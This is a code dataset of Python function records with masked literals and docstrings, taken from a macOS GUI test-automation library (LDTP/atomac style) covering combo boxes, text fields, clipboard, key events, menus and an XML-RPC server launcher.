{"signature": "def selectindex(self, window_name, object_name, item_index):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>self._grabfocus(object_handle.AXWindow)<EOL>try:<EOL><INDENT>object_handle.Press()<EOL><DEDENT>except AttributeError:<EOL><INDENT>x, y, width, height = self._getobjectsize(object_handle)<EOL>self.generatemouseevent(x + <NUM_LIT:5>, y + <NUM_LIT:5>, \"<STR_LIT>\")<EOL><DEDENT>self.wait(<NUM_LIT:2>)<EOL>if not object_handle.AXChildren:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\")<EOL><DEDENT>children = object_handle.AXChildren[<NUM_LIT:0>]<EOL>if not children:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\")<EOL><DEDENT>children = children.AXChildren<EOL>tmp_children = []<EOL>for child in children:<EOL><INDENT>role, label = self._ldtpize_accessible(child)<EOL>if label:<EOL><INDENT>tmp_children.append(child)<EOL><DEDENT><DEDENT>children = tmp_children<EOL>length = len(children)<EOL>try:<EOL><INDENT>if item_index < <NUM_LIT:0> or item_index > length:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % item_index)<EOL><DEDENT>menu_handle = children[item_index]<EOL>if not menu_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % menu_list[-<NUM_LIT:1>])<EOL><DEDENT>self._grabfocus(menu_handle)<EOL>x, y, width, height = self._getobjectsize(menu_handle)<EOL>window = object_handle.AXWindow<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>window.doubleClickMouse((x + <NUM_LIT:5>, y + <NUM_LIT:5>))<EOL>child = None<EOL><DEDENT>finally:<EOL><INDENT>if child:<EOL><INDENT>child.Cancel()<EOL><DEDENT><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "Select combo box item / layered pane based on index\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param item_index: Item index to select\n@type object_name: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10321:c0:m1"}
{"signature": "def getallitem(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>object_handle.Press()<EOL>self.wait(<NUM_LIT:1>)<EOL>child = None<EOL>try:<EOL><INDENT>if not object_handle.AXChildren:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\")<EOL><DEDENT>children = object_handle.AXChildren[<NUM_LIT:0>]<EOL>if not children:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\")<EOL><DEDENT>children = children.AXChildren<EOL>items = []<EOL>for child in children:<EOL><INDENT>label = self._get_title(child)<EOL>if label:<EOL><INDENT>items.append(label)<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>if child:<EOL><INDENT>child.Cancel()<EOL><DEDENT><DEDENT>return items<EOL>", "docstring": "Get all combo box item\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n\n@return: list of string on success.\n@rtype: list", "id": "f10321:c0:m2"}
{"signature": "def showlist(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>object_handle.Press()<EOL>return <NUM_LIT:1><EOL>", "docstring": "Show combo box list / menu\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10321:c0:m3"}
{"signature": "def hidelist(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>object_handle.activate()<EOL>object_handle.sendKey(AXKeyCodeConstants.ESCAPE)<EOL>return <NUM_LIT:1><EOL>", "docstring": "Hide combo box list / menu\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10321:c0:m4"}
{"signature": "def verifydropdown(self, window_name, object_name):", "body": "try:<EOL><INDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled or not object_handle.AXChildren:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>children = object_handle.AXChildren[<NUM_LIT:0>]<EOL>if children:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify drop down list / menu poped up\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n\n@return: 1 on success 0 on failure.\n@rtype: integer", "id": "f10321:c0:m5"}
{"signature": "def verifyshowlist(self, window_name, object_name):", "body": "return self.verifydropdown(window_name, object_name)<EOL>", "docstring": "Verify drop down list / menu poped up\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n\n@return: 1 on success 0 on failure.\n@rtype: integer", "id": "f10321:c0:m6"}
{"signature": "def verifyhidelist(self, window_name, object_name):", "body": "try:<EOL><INDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if not object_handle.AXChildren:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>children = object_handle.AXChildren[<NUM_LIT:0>]<EOL>if not children:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:1><EOL><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify list / menu is hidden in combo box\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n\n@return: 1 on success 0 on failure.\n@rtype: integer", "id": "f10321:c0:m7"}
{"signature": "def verifyselect(self, window_name, object_name, item_name):", "body": "try:<EOL><INDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>role, label = self._ldtpize_accessible(object_handle)<EOL>title = self._get_title(object_handle)<EOL>if re.match(item_name, title, re.M | re.U | re.L) orre.match(item_name, label, re.M | re.U | re.L) orre.match(item_name, u\"<STR_LIT>\" % (role, label),<EOL>re.M | re.U | re.L):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify the item selected in combo box\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param item_name: Item name to select\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10321:c0:m8"}
{"signature": "def getcombovalue(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>return self._get_title(object_handle)<EOL>", "docstring": "Get current selected combobox value\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n\n@return: selected item on success, else LdtpExecutionError on failure.\n@rtype: string", "id": "f10321:c0:m9"}
{"signature": "def generatekeyevent(self, data):", "body": "KeyComboAction(data)<EOL>return <NUM_LIT:1><EOL>", "docstring": "Generates key event to the system, this simulates the best user like\ninteraction via keyboard.\n\n@param data: data to type.\n@type data: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m0"}
{"signature": "def keypress(self, data):", "body": "try:<EOL><INDENT>window = self._get_front_most_window()<EOL><DEDENT>except (IndexError,):<EOL><INDENT>window = self._get_any_window()<EOL><DEDENT>key_press_action = KeyPressAction(window, data)<EOL>return <NUM_LIT:1><EOL>", "docstring": "Press key. NOTE: keyrelease should be called\n\n@param data: data to type.\n@type data: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m1"}
{"signature": "def keyrelease(self, data):", "body": "try:<EOL><INDENT>window = self._get_front_most_window()<EOL><DEDENT>except (IndexError,):<EOL><INDENT>window = self._get_any_window()<EOL><DEDENT>key_release_action = KeyReleaseAction(window, data)<EOL>return <NUM_LIT:1><EOL>", "docstring": "Release key. NOTE: keypress should be called before this\n\n@param data: data to type.\n@type data: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m2"}
{"signature": "def enterstring(self, window_name, object_name='<STR_LIT>', data='<STR_LIT>'):", "body": "if not object_name and not data:<EOL><INDENT>return self.generatekeyevent(window_name)<EOL><DEDENT>else:<EOL><INDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>self._grabfocus(object_handle)<EOL>object_handle.sendKeys(data)<EOL>return <NUM_LIT:1><EOL><DEDENT>", "docstring": "Type string sequence.\n\n@param window_name: Window name to focus on, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to focus on, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param data: data to type.\n@type data: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m3"}
{"signature": "def settextvalue(self, window_name, object_name, data):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>object_handle.AXValue = data<EOL>return <NUM_LIT:1><EOL>", "docstring": "Type string sequence.\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param data: data to type.\n@type data: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m4"}
{"signature": "def gettextvalue(self, window_name, object_name, startPosition=<NUM_LIT:0>, endPosition=<NUM_LIT:0>):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>return object_handle.AXValue<EOL>", "docstring": "Get text value\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param startPosition: Starting position of text to fetch\n@type: startPosition: int\n@param endPosition: Ending position of text to fetch\n@type: endPosition: int\n\n@return: text on success.\n@rtype: string", "id": "f10324:c0:m5"}
{"signature": "def inserttext(self, window_name, object_name, position, data):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>existing_data = object_handle.AXValue<EOL>size = len(existing_data)<EOL>if position < <NUM_LIT:0>:<EOL><INDENT>position = <NUM_LIT:0><EOL><DEDENT>if position > size:<EOL><INDENT>position = size<EOL><DEDENT>object_handle.AXValue = existing_data[:position] + data +existing_data[position:]<EOL>return <NUM_LIT:1><EOL>", "docstring": "Insert string sequence in given position.\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param position: position where text has to be entered.\n@type data: int\n@param data: data to type.\n@type data: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m6"}
{"signature": "def verifypartialmatch(self, window_name, object_name, partial_text):", "body": "try:<EOL><INDENT>if re.search(fnmatch.translate(partial_text),<EOL>self.gettextvalue(window_name,<EOL>object_name)):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify partial text\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param partial_text: Partial text to match\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m7"}
{"signature": "def verifysettext(self, window_name, object_name, text):", "body": "try:<EOL><INDENT>return int(re.match(fnmatch.translate(text),<EOL>self.gettextvalue(window_name,<EOL>object_name)))<EOL><DEDENT>except:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Verify text is set correctly\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param text: text to match\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m8"}
{"signature": "def istextstateenabled(self, window_name, object_name):", "body": "try:<EOL><INDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>if object_handle.AXEnabled:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verifies text state enabled or not\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n\n@return: 1 on success 0 on failure.\n@rtype: integer", "id": "f10324:c0:m9"}
{"signature": "def getcharcount(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>return object_handle.AXNumberOfCharacters<EOL>", "docstring": "Get character count\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m10"}
{"signature": "def appendtext(self, window_name, object_name, data):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>object_handle.AXValue += data<EOL>return <NUM_LIT:1><EOL>", "docstring": "Append string sequence.\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param data: data to type.\n@type data: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m11"}
{"signature": "def getcursorposition(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>return object_handle.AXSelectedTextRange.loc<EOL>", "docstring": "Get cursor position\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n\n@return: Cursor position on success.\n@rtype: integer", "id": "f10324:c0:m12"}
{"signature": "def setcursorposition(self, window_name, object_name, cursor_position):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>object_handle.AXSelectedTextRange.loc = cursor_position<EOL>return <NUM_LIT:1><EOL>", "docstring": "Set cursor position\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param cursor_position: Cursor position to be set\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m13"}
{"signature": "def cuttext(self, window_name, object_name, start_position, end_position=-<NUM_LIT:1>):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>size = object_handle.AXNumberOfCharacters<EOL>if end_position == -<NUM_LIT:1> or end_position > size:<EOL><INDENT>end_position = size<EOL><DEDENT>if start_position < <NUM_LIT:0>:<EOL><INDENT>start_position = <NUM_LIT:0><EOL><DEDENT>data = object_handle.AXValue<EOL>Clipboard.copy(data[start_position:end_position])<EOL>object_handle.AXValue = data[:start_position] + data[end_position:]<EOL>return <NUM_LIT:1><EOL>", "docstring": "cut text from start position to end position\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param start_position: Start position\n@type object_name: integer\n@param end_position: End position, default -1\nCut all the text from start position till end\n@type object_name: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m14"}
{"signature": "def copytext(self, window_name, object_name, start_position, end_position=-<NUM_LIT:1>):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>size = object_handle.AXNumberOfCharacters<EOL>if end_position == -<NUM_LIT:1> or end_position > size:<EOL><INDENT>end_position = size<EOL><DEDENT>if start_position < <NUM_LIT:0>:<EOL><INDENT>start_position = <NUM_LIT:0><EOL><DEDENT>data = object_handle.AXValue<EOL>Clipboard.copy(data[start_position:end_position])<EOL>return <NUM_LIT:1><EOL>", "docstring": "copy text from start position to end position\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param start_position: Start position\n@type object_name: integer\n@param end_position: End position, default -1\nCopy all the text from start position till end\n@type object_name: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m15"}
{"signature": "def deletetext(self, window_name, object_name, start_position, end_position=-<NUM_LIT:1>):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>size = object_handle.AXNumberOfCharacters<EOL>if end_position == -<NUM_LIT:1> or end_position > size:<EOL><INDENT>end_position = size<EOL><DEDENT>if start_position < <NUM_LIT:0>:<EOL><INDENT>start_position = <NUM_LIT:0><EOL><DEDENT>data = object_handle.AXValue<EOL>object_handle.AXValue = data[:start_position] + data[end_position:]<EOL>return <NUM_LIT:1><EOL>", "docstring": "delete text from start position to end position\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param start_position: Start position\n@type object_name: integer\n@param end_position: End position, default -1\nDelete all the text from start position till end\n@type object_name: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m16"}
{"signature": "def pastetext(self, window_name, object_name, position=<NUM_LIT:0>):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>size = object_handle.AXNumberOfCharacters<EOL>if position > size:<EOL><INDENT>position = size<EOL><DEDENT>if position < <NUM_LIT:0>:<EOL><INDENT>position = <NUM_LIT:0><EOL><DEDENT>clipboard = Clipboard.paste()<EOL>data = object_handle.AXValue<EOL>object_handle.AXValue = data[:position] + clipboard + data[position:]<EOL>return <NUM_LIT:1><EOL>", "docstring": "paste text from start position to end position\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param position: Position to paste the text, default 0\n@type object_name: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10324:c0:m17"}
{"signature": "def selectmenuitem(self, window_name, object_name):", "body": "menu_handle = self._get_menu_handle(window_name, object_name)<EOL>if not menu_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>menu_handle.Press()<EOL>return <NUM_LIT:1><EOL>", "docstring": "Select (click) a menu item.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10325:c0:m1"}
{"signature": "def doesmenuitemexist(self, window_name, object_name):", "body": "try:<EOL><INDENT>menu_handle = self._get_menu_handle(window_name, object_name,<EOL>False)<EOL>return <NUM_LIT:1><EOL><DEDENT>except LdtpServerException:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Check a menu item exist.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n@param strict_hierarchy: Mandate menu hierarchy if set to True\n@type object_name: boolean\n\n@return: 1 on success.\n@rtype: integer", "id": "f10325:c0:m2"}
{"signature": "def menuitemenabled(self, window_name, object_name):", "body": "try:<EOL><INDENT>menu_handle = self._get_menu_handle(window_name, object_name,<EOL>False)<EOL>if menu_handle.AXEnabled:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify a menu item is enabled\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10325:c0:m3"}
{"signature": "def listsubmenus(self, window_name, object_name):", "body": "menu_handle = self._get_menu_handle(window_name, object_name)<EOL>role, label = self._ldtpize_accessible(menu_handle)<EOL>menu_clicked = False<EOL>try:<EOL><INDENT>if not menu_handle.AXChildren:<EOL><INDENT>menu_clicked = True<EOL>try:<EOL><INDENT>menu_handle.Press()<EOL>self.wait(<NUM_LIT:1>)<EOL><DEDENT>except atomac._a11y.ErrorCannotComplete:<EOL><INDENT>pass<EOL><DEDENT>if not menu_handle.AXChildren:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" %label)<EOL><DEDENT><DEDENT>children = menu_handle.AXChildren[<NUM_LIT:0>]<EOL>sub_menus = []<EOL>for current_menu in children.AXChildren:<EOL><INDENT>role, label = self._ldtpize_accessible(current_menu)<EOL>if not label:<EOL><INDENT>continue<EOL><DEDENT>sub_menus.append(u\"<STR_LIT>\" % (role, label))<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if menu_clicked:<EOL><INDENT>menu_handle.Cancel()<EOL><DEDENT><DEDENT>return sub_menus<EOL>", "docstring": "List children of menu item\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: menu item in list on success.\n@rtype: list", "id": "f10325:c0:m4"}
{"signature": "def verifymenucheck(self, window_name, object_name):", "body": "try:<EOL><INDENT>menu_handle = self._get_menu_handle(window_name, object_name,<EOL>False)<EOL>try:<EOL><INDENT>if menu_handle.AXMenuItemMarkChar:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except atomac._a11y.Error:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify a menu item is checked\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10325:c0:m5"}
{"signature": "def verifymenuuncheck(self, window_name, object_name):", "body": "try:<EOL><INDENT>menu_handle = self._get_menu_handle(window_name, object_name,<EOL>False)<EOL>try:<EOL><INDENT>if not menu_handle.AXMenuItemMarkChar:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except atomac._a11y.Error:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify a menu item is un-checked\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10325:c0:m6"}
{"signature": "def menucheck(self, window_name, object_name):", "body": "menu_handle = self._get_menu_handle(window_name, object_name)<EOL>if not menu_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>try:<EOL><INDENT>if menu_handle.AXMenuItemMarkChar:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except atomac._a11y.Error:<EOL><INDENT>pass<EOL><DEDENT>menu_handle.Press()<EOL>return <NUM_LIT:1><EOL>", "docstring": "Check (click) a menu item.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10325:c0:m7"}
{"signature": "def menuuncheck(self, window_name, object_name):", "body": "menu_handle = self._get_menu_handle(window_name, object_name)<EOL>if not menu_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>try:<EOL><INDENT>if not menu_handle.AXMenuItemMarkChar:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except atomac._a11y.Error:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>menu_handle.Press()<EOL>return <NUM_LIT:1><EOL>", "docstring": "Uncheck (click) a menu item.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10325:c0:m8"}
{"signature": "def main(port=<NUM_LIT>, parentpid=None):", "body": "if \"<STR_LIT>\" in os.environ:<EOL><INDENT>_ldtp_debug = True<EOL><DEDENT>else:<EOL><INDENT>_ldtp_debug = False<EOL><DEDENT>_ldtp_debug_file = os.environ.get('<STR_LIT>', None)<EOL>if _ldtp_debug:<EOL><INDENT>print(\"<STR_LIT>\".format(int(parentpid)))<EOL><DEDENT>if _ldtp_debug_file:<EOL><INDENT>with open(unicode(_ldtp_debug_file), \"<STR_LIT:a>\") as fp:<EOL><INDENT>fp.write(\"<STR_LIT>\".format(int(parentpid)))<EOL><DEDENT><DEDENT>server = LDTPServer(('<STR_LIT>', port), allow_none=True, logRequests=_ldtp_debug,<EOL>requestHandler=RequestHandler)<EOL>server.register_introspection_functions()<EOL>server.register_multicall_functions()<EOL>ldtp_inst = core.Core()<EOL>server.register_instance(ldtp_inst)<EOL>if parentpid:<EOL><INDENT>thread.start_new_thread(notifyclient, (parentpid,))<EOL><DEDENT>try:<EOL><INDENT>server.serve_forever()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>pass<EOL><DEDENT>except:<EOL><INDENT>if _ldtp_debug:<EOL><INDENT>print(traceback.format_exc())<EOL><DEDENT>if _ldtp_debug_file:<EOL><INDENT>with open(_ldtp_debug_file, \"<STR_LIT:a>\") as fp:<EOL><INDENT>fp.write(traceback.format_exc())<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Main entry point. Parse command line options and start up a server.", "id": "f10326:m1"}
{"signature": "def server_bind(self, *args, **kwargs):", "body": "self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, <NUM_LIT:1>)<EOL>SimpleXMLRPCServer.server_bind(self, *args, **kwargs)<EOL>", "docstring": "Server Bind. Forces reuse of port.", "id": "f10326:c1:m0"}
